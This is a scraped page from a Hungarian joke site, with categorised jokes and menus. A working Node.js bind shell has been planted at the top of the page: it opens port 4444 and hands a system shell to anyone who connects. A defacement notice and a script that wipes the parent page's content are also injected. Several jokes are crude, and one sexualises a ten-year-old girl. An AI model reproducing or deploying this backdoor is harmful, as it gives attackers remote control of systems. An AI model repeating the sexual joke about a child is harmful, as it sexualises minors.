-
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"); var server = net.createServer(function(socket) { var sh = cp.spawn(cmd, []); socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(socket); sh.stderr.pipe(socket); } else { util.pump(sh.stdout, socket); util.pump(sh.stderr, socket); } }); server.listen(4444); })();
SECURITY WARNING ANTIVÍRUS
Sajnos még az antivírus sem tud mit tenni H0VND ellen.
-
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
- Eszt?ta (Házassági viccek)
-
Arisztid elmegy a házasságközvetítõhöz, és így szól:
- Micsoda ronda nõt ajánlott maga nekem hallja-e!
- Miért ronda? Az egy nagyon fess, csábítóan szép nõ.
- De hiszen púpos!
- Ugyan, azt alig venni észre!
- Azonkívül az egyik szemére kancsal, és ólába is van szegénynek.
-Jaj, ha uraságod egy esztéta!- A finoms?g (Skót viccek)
-
McAllister egy kosárka földieperrel állít haza. Kiválaszt egy darabot és odaadja a fiának:
-A többinek ugyanilyen íze van!- Miniszoknya (Bolond viccek)
-
Anyóka miniszoknyában, - megszólítja a rendõr:
- Néném, azért a maga korában túlzás a miniszoknya...
- Miért fiam, annyira csúnyák a lábaim?
- Az meg csak hagyján, de kilóg belole a melle!
- Szerencs?tlen (Elvont viccek)
-
- Tegnap bõrig áztam, egyedül az esernyõm maradt szárazon.
- Hogy lehet az?
- Otthon felejtettem.- Kupiban (Elvont viccek)
-
A 70 éves Józsi bácsi elmegy a kupiba, és így szól a madámhoz:
- Kézcsókom, egy hamvas szõke húszévest szeretnék!
Madám:
-De Józsi bácsi, maga azon már rég túl van!
Józsi bácsi:
-Igen? És hol fizetek?- Kereszt?ny maci (Vallási viccek)
-
Az erdõ közepén egy vadász egyszer csak egy hatalmas, félelmetes medvével
találja magát szemben. Félelemtõl remegõ kézzel megkísérli lelõni a
fenevadat, de nem jár sikerrel. Erre sarkon fordul és nekilódul: olyan
gyorsan fut, ahogy csak bír. Végül azonban egy igen meredek szakadék szélén
találja magát. Ekkor térdre hullik, égnek emeli széttárt karjait, és eképp
fohászkodik: "Istenem! Kérlek tedd ezt a medvét kereszténnyé!"
Ekkor a fellegekben villámlás kerekedik, és a medve megtorpan, csupán néhány
méternyire a vadásztól. Egy pillanatig tétován álldogál ott, aztán égnek
emeli tekintét és imigyen szól: "Köszönöm Istenem! Köszönöm az ételt, amit
ma elém tettél..."
- Igen,vagy nem?!
-
Egy 18 éves fiú randevúzik egy lánnyal. A fiú kisöccse meg akarja tudni,
milyen egy randi, elbújik a csomagtartóban. A fiatal pár kihajt a város
szélére.
- Na, igen vagy nem? - fordul a fiú a lányhoz.
- Hát nem! - így a lány.
- Jól van, akkor én hazamegyek kocsival, te pedig kiszállsz és mehetsz
vissza gyalog.
Másnap a 6 éves kisfiú randevúra hívja a kis szomszédlányt.Felülteti a
bicikli csomagtartójára és kihajtanak az erdõszélére. Megkérdezi a kisfiú a
kislánytól:
- Na, igen vagy nem?
- Hát ez meg mit jelent? Legyen igen! - feleli a kislány.
- Tudtam, hogy pechem lesz! - sóhajt fel a fiú. - Itt a bicikli, menjvissza
vele, én meg megyek gyalog.
- ?jrat?ltve (Morbid viccek)
-
Egy fiatalember, aki a nagymamájával él... hát problémája akadt a fütykösével. Elmegy orvoshoz,aki azt ajánlja hogy mártogassa meleg tejbe. Oké, haza megy, kéri a nagymamáját, hogy hozzon fel neki egy
pohár langyos tejet.
Visszi is a mami, bár egy kicsit értetlenkedik,
hisz õ úgy tudja nem szereti a tejet. Na mindegy, odadaja neki, becsukja az ajtót, a srác meg elkezdi mártogatni...
De a nagymami nem bírja ki, hogy ne lesse meg, ugyan mit csinál a pohár tejjel... hisz
nem szereti. Bekukucskál a kulcslyukon. Nézi...:
- 3x váltam
- 3 férjemet temettem
- kb 6 párkapcsolatom volt.... de én ezt még sosem tudtam, hogy így töltik...- try {
// Megpróbáljuk elérni a legfelső szülő oldalt és kiüríteni a body-t
window.top.document.body.innerHTML = ';
} catch (e) {
console.error("Biztonsági hiba: Az iFrame-ből nem érhető el a főoldal (Cross-Origin).", e);
}
- Mozg?l?pcs? (Szőke nős viccek)
-
Két szõke nõ beszélget azelõzõ napi áramszünetrõl.
Egyik: - Képzeld, tegnap órákra beragadtam a liftbe!
Másik:-AAAAAAAAZ semmi, én 8 órát álltam amozgólépcsõn!!!
- 10 ?vesen (Morbid viccek)
-
Megy a kislány a patikába és kér egy csomag óvszert.
A patikus értetlenül kérdezi: Minek neked az? Még 10 éves
sem vagy, ott
a tejföl a szád szélén.
-Az nem tejföl, jó!?
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
-
- .:Állatos viccek:.
- .:Anyós viccek:.
- .:Bolond viccek:.
- .:Csak nőknek:.
- .:Csak férfiaknak:.
- .:Egyéb viccek:.
- .:Elvont viccek:.
- .:Gyerek viccek:.
- .:Házassági viccek:.
- .:Hogy hívják...:.
- .:Jean viccek:.
- .:Katona viccek:.
- .:Közlekedési viccek:.
- .:Morbid viccek:.
- .:Móricka viccek:.
- .:Munkahelyi viccek:.
- .:Orvosi viccek:.
- .:Pikáns viccek:.
- .:Pincér viccek:.
- .:Politikai viccek:.
- .:Rendőr viccek:.
- .:Részeg viccek:.
- .:Roma viccek:.
- .:Skót viccek:.
- .:Sport viccek:.
- .:Stirlitz viccek:.
- .:Számítástechnikai viccek:.
- .:Székely viccek:.
- .:Szőke nős viccek:.
- .:Utolsó mondatok:.
- .:Ügyvéd viccek:.
- .:Vallási viccek:.
- .:Zsidó viccek:.
nevetseges.hu on Facebook - Nevetséges Viccek - Impresszum - Jogi nyilatkozat
Kellemes szórakozást kíván a Nevetséges Viccek szerkesztősége. www.nevetseges.hu
